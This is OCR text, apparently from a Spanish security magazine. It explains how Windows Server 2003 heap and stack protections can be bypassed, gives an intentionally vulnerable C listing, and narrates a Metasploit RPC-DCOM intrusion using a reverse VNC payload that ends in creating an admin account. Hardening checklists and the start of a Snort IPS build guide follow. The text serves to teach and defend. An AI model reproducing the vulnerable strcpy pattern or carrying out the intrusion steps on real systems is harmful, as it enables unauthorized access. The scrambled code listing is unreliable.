devuelva la funcion llamada, la direccién situada en el registro EIP sera ejecutada,
ejecutando el cadigo proporcionado con los privilegios del proceso atacado. Si el
proceso vulnerable tiene los privilegios de suid/sgid root, esto podria llevar a un
problema devastador en la seguridad del sistema.

Heap overflow — sobrecarga de la memoria dinamica

Heap overflow es muy similar a la sobre-escritura del stack. Sin embargo, en lugar
de sobre-escribir el EIP en el stack, se sobre-escriben las areas asignadas por el
proceso (como las utilizadas a través de una llamada a malloc ()). Sobrecargando
un buffer que ha estado asignado dinamicamente, los datos pueden fluir a la si-
guiente seccidn asignada en el heap. Esto permite que el atacante modifique los

buffer de memoria asignada al mis-
mo. La larga cadena inyecta codigo
en el sistema, cédigo que es ejecu-
tado, lanzando un gusano o virus.
En este articulo, estudiaremos
Windows heap and stack overflow
ya que estan ganando popularidad
por su fiabilidad y robustez a la ho-
ra de atacar sistemas Windows.

De cualquier forma, la intro-
duccion de Windows Server 2003
— y posteriormente Windows XP
SP2, han conllevado otro nivel de
proteccion, que los hackers deben
superar para conseguir realizar
ataques de heap overflow en estos
sistemas. Echemos un vistazo a
los principios del exploit clasico de
heap overflow, y veamos por qué
estas técnicas no funcionan con
las nuevas plataformas Windows.
Entonces presentaremos una for-
ma de esquivar el primer nivel de
proteccion para activar una sobre-
escritura de memoria.

Proteccion del heap

Las técnicas clasicas de heap
overflow funcionaban perfecta-
mente con Windows XP (SPO,
SP1) y con Windows 2000. Las
cosas cambiaron con la llegada de
Windows Server 2003. Microsoft
modificé las rutinas de gestion de
la memoria dinamica (heap) y sus
estructuras, para comprobar la va-
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lidez de una porcion antes de ser
asignada o liberada.

» Se introdujo una cookie de se-
guridad en los encabezamien-
tos de las porciones (chunk
headers). Cuando la porcion
es asignada, esta cookie es
comprobada para asegurarse
de que no ha tenido lugar una
sobrecarga.

* Los punteros de enlace hacia
adelante y hacia atras son ve-
rificados antes de que tenga
lugar el proceso de desligado por
cualquier motivo (asignacion). La
misma comprobacion se hace
para los bloques asignados vir-
tualmente. Esta comprobacion
es el obstaculo real con el que
nos encontramos a la hora de
intentar un heap overflow.

Se han introducido otras proteccio-
nes, por lo general la aleatorizacion
de los PEB (Process Execution
Block), y el codificado de punteros
de excepcion. La meta es minimizar
la cantidad de punteros de funcion
fijos y bien conocidos, usados glo-
balmente por el proceso. Sus loca-
lizaciones eran objetivos preferentes
para intentar la sobrecarga del heap
a la antigua usanza.
Desafortunadamente, la protec-
cion no fue 100% segura frente a
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heap overflow, tal y como Alexan-
der Anisimov demostré a principios
de 2005. El primer método publico
para esquivar las nuevas proteccio-
nes del heap consistia en explotar
las comprobaciones inexistentes
en la lista lookaside (véase el docu-
mento Defeating Windows XP SP2
Heap protection and DEP bypass,
si se quiere aprender algo mas so-
bre las listas lookaside — Recuadro
En la Red). La nueva técnica es
buena en teoria, pero en la practica
es dificil de utilizar. El heap debe
disponer de una tabla lookaside ac-
tiva y abierta para que la operacion
tenga éxito.

Proteccién del Stack en
Windows Server 2003 y
mecanismo para evitarla

El sistema de proteccion del stack
es similar a otro tipo de soluciones,
donde se calcula el valor de una
cookie para cada funcién, y esto se
guarda en el stack directamente bajo
la direccion guardada de devolucion.
Antes de que cada funcién vuelva
a la funcién de llamada, se sigue
una rutina que comprueba el valor
guardado en el stack con un valor
guardado en la memoria global. Si
ambos valores no coinciden, el pro-
grama sera finalizado después de
llevar a cabo una serie de funciones
de informe de errores.

Una de las debilidades de esta
solucién radica en el hecho de que
las estructuras de gestion de excep-
ciones también estan almacenadas
en la memoria stack. Como resulta-
do, seria posible que un atacante so-
brecargara un buffer de un programa
vulnerable, corrompiendo el valor de
dicha cookie, y la direccion de res-
puesta, y que continle hasta que se
corrompa un gestor de excepciones.
Entonces, activando una excepcion
anterior a la rutina de validacion de
la cookie podria ser posible redirigir
el flujo de tal modo que pueda ejecu-
tarse un cédigo maligno situado en
el stack, heap u otras localizaciones
de memoria.

Se han descrito otras debili-
dades, como que el valor canary
value de 32-bits conservado en la

#include <stdio.h>
#include <windows.h>

HANDLE hp=NULL;

int main ()

char *ptr = NULL;

printf ("Host is %s",ptr);
HeapFree (hp, 0,ptr) ;
return 0;

int count = 0;
char *p = NULL;
char buffer[40]="";

p = strstr(url,"http://");
if (Ip)
return 0;

p=p+7;

// find the first slash
while (buffer[count] !='/")
count ++;

// set it to NULL

buffer[count] = 0;

if(!p)

return 0;
strcpy (p,buffer) ;
*buf = p;
return 0;

Listado 1. Problemas en el mecanismo de proteccion del stack

int ReturnHostFromUrl (char **, char *);

hp = HeapCreate (0,0x1000,0x10000) ;
ReturnHost-FromUrl (&ptr, "http://www.ivizindia.com/index.html");

int ReturnHostFromUrl (char **buf, char *url

// Get a pointer to the start of the host

// do processing on a local copy
strcpy (buffer,p); // <-----

// We now have in buffer the host name
// Make a copy of this on the heap
p = (char *)HeapAlloc (hp,0,strlen(buffer)+1);

NOTE 1

memoria global pueda ser escrito
por la aplicacion. Como resultado,
un atacante capaz de manipular la
memoria global puede modificar
la cookie para que coincida con el
valor sobre-escrito por una sobre-
carga del stack. Se han desarrollado
una gran variedad de exploits que
esquivan el esquema de proteccion
del stack de Windows Server 2003,
especificamente al sacar partido a
la vulnerabilidad frente a buffer ove-
rrun del interfaz Microsoft Windows
DCOM RPC.

Estudiemos con mas profundidad
lo que sucede. Cuando se ha prote-

gido un procedimiento, la cookie es
comprobada para determinar si su
valor es el mismo que era al prin-
cipio del procedimiento. Una copia
principal de la cookie se almacena
en la seccion .data del archivo de
imagen del procedimiento en cues-
tion. La cookie en el stack es movida
al registro ECX y es comparada con
la copia en la seccion .data. Esto
plantea un problema (se vera mas
adelante).

Si la cookie no coincide, el
codigo que pone en marcha la
comprobacion llamard a un gestor
de seguridad si se ha definido uno.
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RPC-DCOM

La llamada a procedimiento remoto
— Remote Procedure Call (RPC) es
un protocolo utilizado por el sistema
operativo Windows. RPC proporcio-
na un mecanismo de comunicacion
inter-procesual que permite que un
programa que se ejecuta en una
maquina determinada ejecute cédigo
sin obstaculos en un sistema remoto.
El protocolo en si deriva del protocolo
RPC de Open Software Foundation
(OSF), pero con la incorporacién de
algunas extensiones especificas de
Microsoft.

-

Se almacena un puntero hacia este
gestor en la seccion .data del archi-
vo imagen del procedimiento vulne-
rable; si el puntero no es wurL, se
traslada al registro EAX y entonces
se llama a EAX. Este es otro pro-
blema, porque si no se ha definido
un gestor de seguridad, se llama a
unhandledExceptionFilter Y este no
so6lo no termina el proceso inmedia-
tamente, sino que efectua todo tipo
de acciones y llama a todo tipo de
funciones.

Volvamos ahora a los proble-
mas que hemos mencionado y
veamos por qué son fuente de
preocupacion. Lo mejor es que lo
hagamos con una muestra de co-
digo. Consideremos el fragmento
recogido en el Listado 1.

El programa toma una URL y ex-
trae el nombre del host. La funcion
ReturnHostFormUrl €S vulnerable a
buffer overflow, lo que esta marca-
do en note 1. Si vemos el prototipo
de la funcion, vemos que se com-
pone de dos parametros: uno es
un puntero a un puntero (char **),
y el otro es un puntero a la URL a
crackear. Como se dice en nore2,
ajustamos el primer parametro
para que sea el puntero al nombre
de host almacenado en el heap di-
namico. Aqui es donde se esconde
uno de nuestros problemas. Si so-
brecargamos el buffer basado en el
stack, sobre-escribimos la cookie,
sobre-escribimos el puntero base,
y después la direcciéon almacenada
de respuesta, empezamos a rees-
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cribir los parametros de la funcion.
Cuando el buffer se haya sobrecar-
gado, ya tenemos el control de los
parametros que se han aplicado a
la funcion. Esto nos permite abusar
del mecanismo estructurado de
excepciones para esquivar la pro-
teccion del stack.

Aprovechandonos
Cuando ya tenemos todo el arma-
mento necesario para aprovechar-
nos del nuevo sistema Windows,
podemos dirigirnos hacia la autén-
cica intrusién en el sistema. Por
conveniencia, nos concentraremos
especificamente en Metasploit, que
es bueno por la funcionalidad tan
variada que nos otorga. Discutire-
mos una vulnerabilidad concreta,
obteniendo privilegios totales sobre
un sistema Windows Server 2003.
Los lectores pueden investigar
sobre otras vulnerabilidades depen-
diendo del escenario.

Hay vulnerabilidades en la
interfaz RPC (ver Recuadro RPC-
DCOM) que implementa los servi-
cios Distributed Component Object
Model (DCOM), y que escucha
en los puertos RPC activos. Esta
interfaz gestiona las peticiones de
activacién de objetos DCOM que
son enviadas por las maquinas
clientes al servidor. La causa de
la vulnerabilidad es la gestion inco-
rrecta de mensajes mal formados
en una funcion responsable de
objetos DCOM.

Un atacante que aproveche
esta vulnerabilidad, podria ejecutar
codigo con privilegios de sistema
local en un sistema afectado. El
atacante podria realizar cualquier
accion sobre el sistema, incluyen-
do la instalacion de programas,
ver, cambiar y borrar datos, o crear
nuevas cuentas con privilegios
completos. Esta vulnerabilidad fue
descubierta originalmente por el
grupo de investigacion Last Stage
of Delirium y ha sido muy explotada
desde entonces.

Sin entrar en mas detalle so-
bre cémo trabajar con Metasploit,
vayamos directamente al aprove-
chamiento de la vulnerabilidad
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Listado 2. Claves para
modificar o anadir para reforzar
TCP/IP en Windows Server
2003

HKEY LOCAL MACHINE\SYSTEM\ «
CurrentControlSet\Services:

Key: Tcpip\Parameters
Value: SynAttackProtect
Value Type: REG_DWORD
Parameter: 1

Key: Tcpip\Parameters
Value: EnableDeadGWDetect
Value Type: REG_DWORD
Parameter: 0

Key: Tcpip\Parameters
Value: EnablePMTUDiscovery
Value Type: REG_DWORD
Parameter: 0

Key: Tcpip\Parameters
Value: KeepAliveTime

Value Type: REG_DWORD
Parameter: 300,000

Key: Netbt\Parameters

Value: NoNameReleaseOnDemand
Value Type: REG_DWORD
Parameter: 1

HKEY LOCAL MACHINE\SYSTEM\ <
CurrentControlSet\Control:

Key: Lsa

Value: RestrictAnonymous
Value Type: REG_DWORD
Parameter: 2

Key: SecurePipeServers
Value: RestrictAnonymous
Value Type: REG_DWORD
Parameter: 1

de muestra que hemos descrito
en una maquina Windows Server
2003. La carga util seleccionada
sera win32_reverse_vncinject. Se
trata de una carga util de inyeccion
DLL en el servidor de VNC. Nos
permitira acceder inmediatamente
al escritorio de un sistema inter-
venido utilizando practicamente
cualquier exploit de Win32.

El DLL se carga en el proceso
remoto utilizando cualquiera de los
sistemas de cargado, iniciados co-
mo un nuevo thread en el proceso
explotado, y espera a peticiones
cliente de VNC en el mismo socket
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Server 2003

Windows Server 2003.

Autenticados,
del directorio System.

Usuarios Autenticados en :
* \Documents and Settings\,

* \WINNT\System32\Config\,
*  \WINNT\Repair.

Seguridad de Red

incluyen:

*  DHCP Client,

» Fax Service,

* Internet Connection Sharing,
* Intersite Message,

* Remote Registry Service,

* RunAs Service,

* Simple TCP/IP Services,

* Telnet,

«  Utility Manager.

Seguridad de Usuarios

Seguridad del Sistema

dos.

te.microsoft.com.

-

* \WINNT\Installer directorio oculto,

Lista de comprobacion de seguridad de Windows

Sigue los pasos detallados a continuacion para mejorar la seguridad de tu sistema
Windows Server 2003. Para mas informacion, consulta la guia de seguridad de

Seguridad del Sistema de Archivos

*  Minimiza los permisos NTFS para EVERYONE.
» En el nivel de unidad légica, resetea y propaga los siguientes permisos:
»  Control total para Administradores,
»  Control total para el CREATOR OWNER,
* Modify, Read/Execute, List Folder Contents, Read, Write para Usuarios
* Elimina y propaga TODOS los permisos para los Usuarios Autenticados

* Permite Modify, Read/Execute, List Folder Contents, Read, and Write para

* Desactiva los servicios innecesarios. Los servicios comunmente innecesarios

»  Protocolos de red como IPX/SPX 'y NetBIOS a no ser que sean necesarios.

» Desactiva la cuenta de Invitado y asigna claves de acceso fuertes.
» Desactiva la cuenta TsinternetUser y asigna una clave de acceso fuerte.
* Cambia de nombre de la cuenta de Administrador.

» Deshabilita Ocultar extensiones de archivo para nombres de archivo conoci-
» Descarga e instala todas las actualizaciones criticas desde http://windowsupda

» Descarga y ejecuta Microsoft Baseline Security Analyzer (MBSA).

Ver Listado 2 para el endurecimiento de TCP/IP.

que se ha usado para cargar el
DLL. La estructura escucha sen-
cillamente en un socket local, es-
perando a un cliente VNC y dirige
los datos a través de la conexién
de la carga util al servidor. En mo-
do de solo-lectura, el usuario de la
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estructura puede ver los conteni-
dos del escritorio, pero no puede
interactuar con ellos. Si se obtie-
ne acceso total, el servidor VNC
lanzara una shell de comandos en
el escritorio con los privilegios del
servicio explotado. Esto es util en
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Endurecimiento del Servidor Web
A continuacion presentamos un ejemplo de los pasos basicos a seguir a la hora de
utilizar nuestro Windows Server 2003 como servidor web con 1IS 6.0.

» Enunanueva instalacion, el servidor no debe ser conectado a la red hasta haber
tomado las medidas de endurecimiento.

* En el primer nivel, escoge una particion NTFS, realiza los ajustes regionales y
establece una clave de administrador fuerte.

* Enlos ajustes de red para el grupo de trabajo o dominio, escoge No, este orde-
nador no forma parte de una red. En el espacio en blanco, introduce un grupo
de trabajo en blanco ([ALT-255]).

» Instala Application Server Components, si planeas monitorizar el servidor utili-
zando SNMP.

» Descarga (en otro sistema distinto) e instala todos los parches relevantes de
Windows Update. Ahora puedes conectar el servidor a la red.

» Instala un motor antivirus y actualiza sus definiciones, activando las actualiza-
ciones automaticas.

» SSH server puede ser intalado para la gestion remota. En este caso, el maximo
numero de conexiones permitidas debe ponerse en 2.

» Bajo la pestafia de Encriptacién, asegurate de activar lo siguiente: Ciphers:
AnyStdCipher, MACs: AnyStdMac.

» Bajo la pestafia de Tunneling: Permitir TCP Tunneling.

» Bajo la pestafia de Autenticacion de Usuarios -> Claves de Acceso asegurate
de que la casilla Permitir Claves Vacias no esta marcada.

» Descarga e instala URLScan.

» Desactiva NetBIOS sobre TCP/IP.

» En SNMP Community String, asegurate de que Send authentication trap esta
seleccionado. Ademas, asigna derechos de comunidad de sélo lectura, y esco-
ge una clave fuerte. Acepta paquetes SNMP de hosts seleccionados, donde se
afiada la direccién de la red SNMP.

» Ajusta la politica de IPsec.

» Configura los servicios de terminal para encriptacion alta. Escoge No permitir
control remoto, desmarca Use Connection Settings From User Settings, des-
marca Connect Client Printers at Logon y Default to Main Client Printer.

» Aplica el archivo .inf del servidor web de alta seguridad desde http://
www.eastcarymassive.com/w2k3/www-w2k3-dmz.inf y ejecuta MMC (Start ->
Run -> MMC).

» Para las opciones de 11S6.0, crea una copia de seguridad y permite la monitori-
zacion. Ahade comprobaciones para Cookie y Referer. Elimina todas las exten-
siones de aplicacion (.asa, .asp, .cdx, .cer, .idc, .shtm, .shtml, .stm) y afadelas
segun sea necesario.

» Para cualquier extension que sea re-afiadida, considera limitar los verbos HTTP
que aceptara la extension. En lugar de usar todos los verbos (DELETE, GET,
HEAD, POST y TRACE), podemos usar solo GET para paginas web estaticas
y POST si tenemos formularios en nuestro sitio web. Esto esta de acuerdo con
el principio del servicio menor.

» Desactiva el sitio web por defecto y escoge el grupo minimo de permisos para
el sitio web deshabilitando la casilla Ejecutar scripts (como ASP).

» Comprueba y elimina todos los directorios de muestra de IIS, elimina la impre-
sion desde internet.

» Bajo la carpeta de Red -> Configuraciones de Red, cambia el valor de Prohibit
use of Internet Connection Sharing on your DNS Domain Network a activado
haciendo click derecho y escogiendo Enable.

* Cambia de nombre y cambia la clave de acceso de la cuenta IUSR_<nom-
bre_del_equipo> .

+ Cambia el sitio web para que utilice la cuenta IUSR a la que se ha cambiado el
nombre /USRy su clave de acceso asociada.

»  Por ultimo, pero no menos importante, ajusta los permisos de archivos y direc-
torios NTFS.
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las situaciones donde un usuario
sin privilegios esta en el escritorio
interactivo, pero el servicio explota-
do esta funcionando con privilegios
de sistema.

Primero conseguimos una linea
de comandos en la maquina atacada
(ver Figura 1). Entonces lanzamos
el explorador (explorer.exe) como
vemos en la Figura 2. Una vez he-
cho esto, creamos un VAX valido
de usuario en el sistema, y le asig-
namos privilegios de administrador
(ver Figura 3). Finalmente, estamos
registrados en el sistema como VAX
de usuario (ver Figura 4). Desde
aqui, hay muchos vectores sobre
los que realizar nuevos ataques y
asaltos a la red.

Guia para el

endurecimiento

Discutir a fondo el endurecimiento
queda fuera del ambito de este
articulo, asi que mencionaremos
la metodologia basica del mismo.
Deberiamos recordar que aunque
Windows Server 2003 nos pro-
porciona una buena cantidad de
ajustes de seguridad por defecto,
deberia ser reforzado antes de po-
nerlo en linea.

Lo mejor seria ir a http://www.
microsoft.comy descargar la guia de
seguridad de Windows Server 2003.
Basicamente, se trata de una guia
exhaustiva de como cerrar y endu-
recer Windows Server 2003 y sus
servicios, asi como un montén de
herramientas y plantillas para hacer-
lo. Tendremos, en resumidas cuen-
tas, todo lo necesario para cerrar
un sistema basico Windows Server
2003, y cualquiera de los servicios
que instalemos en él.

Aunque el producto sea ex-
tremadamente seguro desde la
instalacion por defecto, hay unas
cuantas opciones de seguridad
que puden ser configuradas es-
pecificamente segun nuestros
requisitos. Esta guia no sélo pro-
porciona recomendaciones, sino
también la informacion necesaria
sobre el riesgo que el ajuste trata
de mitigar, y el impacto sobre el
entorno una vez hayamos configu-
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rado dicha opcién. Antes de leer la
guia, podemos comprobar una lista
sencilla de seguridad (ver Recua-
dro Lista de comprobacién de se-
guridad de Windows Server 2003)
y seguir los pasos mas criticos. Un
procedimiento de ejemplo para el
endurecimiento de un servidor web
esta incluido en el Recuadro Endu-
recimiento del servidor web.

Conclusioén

Aquellos que proponen como prin-
cipio estricto de la filosofia de segu-
ridad el de menor privilegio posible
estan contentos de que Microsoft
haya dado pasos para proporcionar
un entorno mas cerrado segun sa-
camos nuestra copia de Windows
2003 Server de la caja, pero se
quejan de que no se haya ido aun
mas lejos. La cuestién es: jcuanta
accesibilidad estan los usuarios y
administradores preparados para
cambiar por una mayor seguridad?
Estamos ya escuchando quejas de
administradores web sobre IIS 6.0
— tantas caracteristicas estan
desactivadas por defecto que la
funcionalidad de la aplicacién esta
restringida.

En los cursos de seguridad,
aquellos que escogen mecanismos
de alta seguridad son avisados de
que necesitaran tener mucha mas
practica para aprender a usarlos, y
ese es el precio que deberan pagar
por ello. Lo mismo puede decirse
de los nuevos sistemas operativos
y aplicaciones de alta seguridad: la
curva de aprendizaje sera mayor.
No es necesariamente algo malo,
pero es importante que esta relacion
sea entendida desde el principio. La
seguridad tiene su precio, y el precio
es la accesibilidad. En el peligroso
mundo de hoy en dia (online y offli-
ne), este es a menudo un precio
aceptable.

Con las mejoras en las técnicas
de ataque contra Windows, que es-
quivan la protecciéon que incorpora
Windows Server 2003, es una vez
mas un reto para Microsoft propor-
cionar nuevas capas de seguridad
y mantener la confianza de sus
usuarios. Aunque se ha mejorado
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sustancialmente respecto a las an-
teriores versiones de Windows, aln
queda un largo camino por recorrer.
Afortunadamente, Microsoft esta tra-
bajando actualmente en un proyecto
cuyo nombre clave es R2, una gran
actualizacion de Windows Server
2003, cuya salida se espera para
finales de 2005, o a principios de
2006 como muy tarde. Veremos si
tiene lo que hace falta para proteger
el sistema.

Windows Longhorn Server es el
nombre de la siguiente version pa-
ra servidores de Microsoft. Sera el
sucesor de Windows Server 2003,
y posiblemente reciba el nombre

de Windows Server 2007. Se es-
pera que incorpore WinFS — un
sub-sistema de almacenamiento
que se cayo de Windows Vista por
problemas de fechas, pero que
sera parte con toda probabilidad
de Windows Vista Service Pack.
Esta sera una relacién similar a
la que existe entre Windows XP
y Windows Server 2003. Esta por
ver cuanta seguridad (ya que Mi-
crosoft esta afiadiendo mejoras de
la misma) puede realmente ofrecer
en un escenario de seguridad que
cambia con mucha rapidez. ®

g
En la Red

ws server 2003,

cionados con Windows,

concepto de heap overflow,

*  http://www.microsoft.com/windowsserver2003/default. mspx — Microsoft Windo-

* http://www.microsoft.com/windowsserver2003/technologies/default. mspx
— Tecnologias centrales de Windows Server 2003,
*  http://windowsnetworking.com/ — Un buen lugar para encontrar articulos rela-

*  http://securityfocus.com/microsoft/images/winheapoverflow.c — Pruebas del

*  http://www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt
— Presentacion del concepto de Third Generation Exploitation,

»  http://www.maxpatrol.com/defeating-xpsp2-heap-protection.pdf — Articulo De-
rribando la proteccién Heap de Windows XP SP2 y esquivando DEP,

*  http://www.metasploit.com — Proyecto Metasploit.
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Practica

Un sistema IPS
a base de Snort

Michat Piotrowski ;

Grado de dificultad
o

proteger las redes de ordenadores

contra ataques de intrusos cibernéti-
cos constan de cortafuegos y de sistemas de
deteccion de intrusiones (IDS, ing. Intrusion
Detection Systems). Mientras que el trabajo
del cortafuegos reside en controlar el incre-
mento de paquetes entre cada fragmento de la
red, los sistemas de deteccion de intrusiones
examinan la informacion contenida en estos
paquetes y si se detecta alguna irregularidad
o alguna informacion caracteristica para un
ataque, inician la alarma.

Con todo, el nivel de seguridad alcanzado
mediante estas técnicas no es muy satisfac-
torio. Un cortafuegos debe, sobre todo, dejar
pasar una parte del trafico, en caso contrario
no tendria sentido conectar la red protegida
con el resto del mundo, pero un ataque puede
llevarse justamente contra el servicio que que-
de disponible. Por cierto, un sistema IDS puede
detectar un ataque que haya recibido el visto
bueno del cortafuegos, pero como observador
pasivo, no es capaz de frustrarlo, asi que su
presencia solo tendra el valor informativo.

Efectivamente, se puede conectar un sis-
tema IDS con un cortafuegos de modo que

I as herramientas mas populares para
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(" Solemos utilizar los cortafuegos para protegernos de los ataques
a nuestros sistemas informaticos, y emplear los sistemas de
deteccidon de intrusiones para monitorizar tales ataques. Sin
embargo, hoy en dia la mera deteccidon de intrusos no basta.
¢Qué mas da que se detecte el ataque o no, si no somos capaces
de resistirlo? La solucion son los sistemas de prevencién de
ataques: de este articulo aprenderemos cémo construir un

e Sistema de este tipo y como cuidarlo.

los intentos de penetracion se bloqueen en el
acto, o configurarlo de forma que rompa las co-
nexiones sospechosas. Desafortunadamen-
te, tal solucién tiene bastantes desventajas.
Primero, muchos ataques consisten en enviar
s6lo un paquete, o una cantidad escasa de és-
tos. En la mayoria de los casos los ataques tipo
DoS contra un programa o un sistema que se
cuelga al haber recibido los datos preparados
a propdésito, o los ataques de desbordamiento
de buffer que fuerzan el sistema atacado a
que establezca una conexién revertida con

e
En este articulo aprenderas...

* qué son los sistemas de proteccion contra ata-
ques,

* como instalar, configurar y mantener un siste-
ma IPS a base del programa Snort.

Lo que deberias saber...

» tener conocimientos basicos de administracion
del sistema Linux,

» tener las nociones basicas de funcionamiento
de lared TCP/IP.
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Construimos un sistema de prevencion de intrusiones

Netfilter

El mecanismo netfilter constituye un
subsistema del nucleo Linux, permi-
tiendo la filtracién y la modificacion
de paquetes, asi como el traslado de
las direcciones de red (ing. Network
Address Translation — NAT). Aparecio
en los nucleos de la serie 2.4 y sigue
desarrollandose en la 2.6.

Para configurar las reglas de fil-
trado o traslado se suele emplear un
programa que opera en el espacio del
usuario y que se llama iptables. Desde
luego, conviene saber que no es el
Unico modo de controlar las reglas de
filtrado del trafico de red en el nucleo
del sistema.

J

el ordenador del atacante, tendran
éxito, incluso si el sistema IDS envia
un mensaje al cortafuegos para que
bloquee la direccién IP sefalada.
Segundo, un intruso puede aprove-
char dicha caracteristica del corta-
fuegos que bloquea una direccién IP
indicada para bloquear un grupo de
direcciones simulando ataques que
de ellas provengan.

Los sistemas de prevencion de
ataques — IPS (ing. Intrusion Pre-
vention System) — constituyen una
solucion eficaz a estos problemas,
combinando en si los rasgos de
los cortafuegos y los IDS. Los sis-
temas IPS suelen colocarse en la
red de forma similar que los corta-
fuegos: en la ruta de los paquetes,
para que todos los datos transmiti-
dos en la red tengan que pasar por
alli. IPS analiza los datos buscando
la presencia de las caracteristicas
de los tipos de ataque conocidos
y segun la calificacién que les dé,
o bien los deja pasar, o bien los
bloquea.

El mercado esta repleto de
toda clase de soluciones IPS. Sus
precios oscilan desde un par de do6-
lares hasta unas decenas de miles.
Intentaremos crear nuestro propio
IPS a partir del software disponible
en internet.

Herramientas
La base de nuestro sistema de
prevencion de ataques sera un sis-
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Figura 1. E lugar del sistema IPS en la red

tema Linux con el nucleo en version
2.6.12.6. Esto es importante por el
soporte de la construcciéon de los
puentes de red que ofrecen los
nucleos de la serie 2.6, mientras
que los 2.4 exigen los parches
apropiados. No importa la distribu-
cién que empleemos, sin embargo,
es vital que sea una instalacion
posiblemente sencilla, desprovista
de Xwindow, las aplicaciones mul-
timedia y otras herramientas por el
estilo.

El corazén de nuestro IPS sera
el programa Snort IDS en la version
2.4.0 que se ira desarrollando via
open source. Se trata de un progra-
ma muy avanzado, que se emplea
en un par de sistemas IDS/IPS
comerciales. Nos valdremos de la
version 2.4.0, ya que esta integrada
con el proyecto snort_inline, que
permite descargar los paquetes
no a través de la libreria libpcap,
como sucede en la configuracion
estandar de Snort, sino a través del
mecanismo netfilter y el programa
iptables.

Ademas, necesitaremos un par
de librerias y unas herramientas.
Principalmente, haran falta las libre-
rias libnet 1.0.x, LIBIPQ y el progra-
ma bridge-utils. La libreria LIBIPQ
forma parte del paquete iptables y
se puede hallar en las extensiones
para desarrolladores o instalar des-
de las fuentes, instalando iptables
con el comando make install-devel.
Ademas, utilizaremos el programa
Oinkmaster, que nos permitira actua-
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lizar la base de las firmas de forma
automatica.

El ordenador en el que arranca-
remos nuestro IPS estd equipado
con tres tarjetas de red. Solo una
tiene su direccion IP asignada y se
empleara para gestionar el disposi-
tivo. Las demas solo seran configu-
radas hasta la capa 2 del modelo
OSl y entre ellas se transmitiran los
paquetes que circularan en la red.
Por lo tanto, nuestro IPS formara
un puente, transparente para los
demas dispositivos y ordenadores.
La Figura 1 presenta el esquema
de una red de ejemplo después
de conectar IPS: nosotros nos
concentraremos Unicamente en el
dispositivo IPS.

Construimos

un puente

Un puente de red (ing. bridge) es
un dispositivo que funciona en
la capa del enlace de datos del
modelo OSI y sirve para conectar
varios segmentos de una red de or-
denadores. Hay dos ventajas clave
del uso del puente como un IPS o
cortafuegos:

- facilidad de configuracion, que
se debe a que un puente carece
de direccion IP y puede colocar-
se dentro de la red sin que sea
necesario cambiar las direccio-
nes o las rutas de los demas dis-
positivos. Una conexion de IPS
de este tipo no provoca cambios
mayores de los que originaria
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la introduccién de un conector
simple.

» seguridad, que consiste en que
el dispositivo permanece trans-
parente, y por consiguiente, prac-
ticamente indetectable por todos
los escaners posibles. Carece de
una direccion IP asi que no hay
posibilidad de conectarse con
él, ni mucho menos, de atacarlo.
Aunque se puede aprovechar un
error en el programa IPS que, por
ejemplo, se suspende procesan-
do un paquete preparado a pro-
posito, por suerte los problemas
de este tipo ocurren muy raras
veces.

Empezaremos a transformar nuestro
ordenador en un puente configuran-
do dos interfaces de red del IPS pa-
ra que intercambien paquetes. Para
conseguirlo, tenemos que compilar
el nucleo con las opciones mostra-
das en Listado 1.

Después del reinicio del sistema
anadimos una interfaz virtual nueva
brO y le asignamos dos interfaces
reales, ethO y eth1, tecleando los
comandos siguientes:

# ifconfig eth0 0.0.0.0 up
# ifconfig ethl 0.0.0.0 up
# brctl addbr br0

# brctl addif br0 eth0

# brctl addif br0 ethl

# ifconfig br0 0.0.0.0 up

Configuramos también la interfaz
eth2, que sirve para gestionar el
dispositivo:

# ifconfig eth2 10.0.0.1 \
netmask 255.255.255.0 up

Desde ahora, todos los paquetes vis-
tos por la interfaz ethO se enviaran
mediante la interfaz eth1 al segmen-
to de red que esta al otro lado del
IPS, y al revés. La tarjeta eth2 cuen-
ta con una direccion IP asignada y
gracias a ella podemos validarnos
en el dispositivo de forma remota.

Instalamos Snort
La instalacion de Snort como tal
corre de forma estandar, pero en el
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Tipos de sistemas IPS

Troya, o el software espia.

&

El dispositivo en cuestion es un sistema de red de deteccion de intrusiones (NIPS, ing.
Network Intrusion Prevention System). En la actualidad constituye el tipo de sistema
IPS mas popular. Otros sistemas de este tipo son:

» Los conectores de la séptima capa (ing. Layer Seven Switches) — son unos dispo-
sitivos muy similares al IPS en cuestién. Tradicionalmente sirven para distribuir la
carga entre un par de dispositivos, pero también son capaces de hacer parar varios
paquetes basandose en una base de reglas.

* Los IPS de aplicacion (HIPS, ing. Host Intrusion Prevention System) — son las
soluciones de programacion que se instalan de forma local en cada estacion
protegida y que se integran con el sistema operativo para supervisar la operaciéon
de otras aplicaciones. Permiten proteger el sistema contra los peligros mas fre-
cuentes, como los errores tipo desbordamiento de buffer, los virus, los caballos de

proceso de configuracién hay que
afadir la opcidn --enable-inline, qUe
resultara en que el programa trabaje
en el modo inline, que permite co-
locar Snort sobre el camino de los
paquetes. Para configurar, compilar
e instalar el programa ejecutamos
los comandos siguientes:

$ ./configure --enable-inline
$ make

# make install

A continuacion, creamos el direc-
torio /etc/snort y fijamos alli todos
los ficheros de configuracion re-
queridos:

# cp classification.config \
gen-msg.map \
generators \
reference.config \
sid sid-msg.map \
snort.conf \
threshold.conf \
unicode.map \

/etc/snort

Para terminar, s6lo tenemos que
modificar el fichero principal de
configuracion snort.conf. Ahora
bien, todavia no contamos con las
firmas de los ataques, lo que es
esencial, de modo que cambiamos
en comentarios todas las lineas
que activan los ficheros de firmas
y que se encuentran al final del
fichero adoptando la forma include
SRULE _PATH/*.rules (insertamos #
al inicio de linea). Ademas, cam-
biamos el valor de la variable que
determina el directorio donde se
situaran dichos ficheros de wvar
RULE _ PATH ../rules POr var RULE _
PATH /etc/snort/rules.

Verificamos las firmas

Las reglas de los ataques que pode-
mos descargar desde la pagina de
inicio del proyecto Snort se dividen
en tres grupos: las firmas de pago
(subscription rules), las firmas que
exigen validacion (registration rules)
y las firmas ampliamente disponibles
(unregistered rules). Puesto que las

Device Drivers
Networking support
Networking options
<*> 802.1d Ethernet Bridging

IP: Netfilter Configuration

Bridge: Netfilter Configuration
<*> Ethernet Bridge tables

~

Listado 1. Configuraciéon del ntcleo del sistema

Network packet filtering (replaces ipchains)
<*> Bridged IP/ARP packets filtering

<*> Userspace queueing via NETLINK
<*> IP tables support (required for filtering/masq/NAT)

(ebtables) support
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reglas popularmente disponibles se
actualizan solo al lanzarse la ver-
sion siguiente de Snort, y el acceso
a las reglas de pago requiere una
suscripcion regular, es recomenda-
ble utilizar las firmas que quedan
disponibles después de haberse
registrado.

De todas formas, antes de que
